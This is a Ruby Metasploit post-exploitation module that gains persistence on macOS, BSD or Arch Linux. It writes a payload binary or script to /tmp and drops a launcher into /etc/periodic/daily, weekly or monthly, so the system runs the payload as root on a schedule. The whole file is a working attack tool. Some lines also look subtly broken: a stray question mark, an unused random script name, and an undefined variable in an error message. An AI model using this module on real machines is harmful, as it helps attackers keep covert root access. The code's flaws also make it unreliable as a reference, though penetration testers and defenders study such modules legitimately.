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class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Periodic Script Persistence',
'Description' => %q{
This module will achieve persistence by writing a script to the /etc/periodic directory.
According to The Art of Mac Malware no such malware species persist in this manner (2024).
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
},
'License' => MSF_LICENSE,
'Author' => [
'gardnerapp',
'msutovsky-r7'
],
'References' => [
[
'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'
]
],
'DisclosureDate' => '2012-04-01',
'Privileged' => true,
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 4,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),
OptString.new('PAYLOAD_DIR', [true, 'Directory to write payload to', '/tmp/']),
OptString.new('PAYLOAD_FILENAME', [true, 'Name of the payload file', Rex::Text.rand_text_alphanumeric(rand(6..13))])
])
end
def check
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
if writable? periodic
return CheckCode::Vulnerable "#{periodic} is writable"
else
CheckCode::Safe "Unable to write to #{periodic}"
end
end
def write_payload(payload_bin)
payload_dir = datastore['PAYLOAD_DIR']
print_status("Detected operating system: #{session.platform}")
fail_with(Failure::BadConfig, "The #{payload_dir} is not writable.") unless writable? payload_dir
payload_dir += '/' unless payload_dir.ends_with? '/'
payload_file = File.join(payload_dir, datastore['PAYLOAD_FILENAME'])
if upload_and_chmodx(payload_file, payload_bin)
print_good "Writing payload to #{payload_file} suceeded"
else
fail_with(Failure::UnexpectedReply, "Unable to write payload to #{script}")
end
@clean_up_rc << "rm #{payload_file} "
payload_file
end
def write_periodic_script(payload_file)
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
periodic_script_name = (datastore['PERIODIC_SCRIPT_NAME'].blank?) ?Rex::Text.rand_text_alphanumeric(rand(6..13))? : datastore['PERIODIC_SCRIPT_NAME']
periodic_script = File.join(periodic_dir, datastore['PERIODIC_SCRIPT_NAME'])
@clean_up_rc << periodic_script.to_s
if upload_and_chmodx(periodic_script, payload_file.to_s)
print_status "Succesfully wrote periodic script to #{periodic_script}. This will execute #{payload_file}."
else
fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}")
end
end
def exploit
@clean_up_rc = 'sudo '
if target['Arch'] == ARCH_PYTHON
print_status 'Getting python version & path.'
python = cmd_exec('which python3 || which python2 || which python')
if python.blank? || !file?(python)
fail_with(Failure::PayloadFailed, 'Unable to find python version. ')
end
print_good "Found python path #{python}"
payload_bin = "#{python}\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.raw
else
payload_bin = generate_payload_exe
end
payload_file = write_payload payload_bin
write_periodic_script payload_file
print_status("Cleanup command '#{@clean_up_rc}'")
end
end
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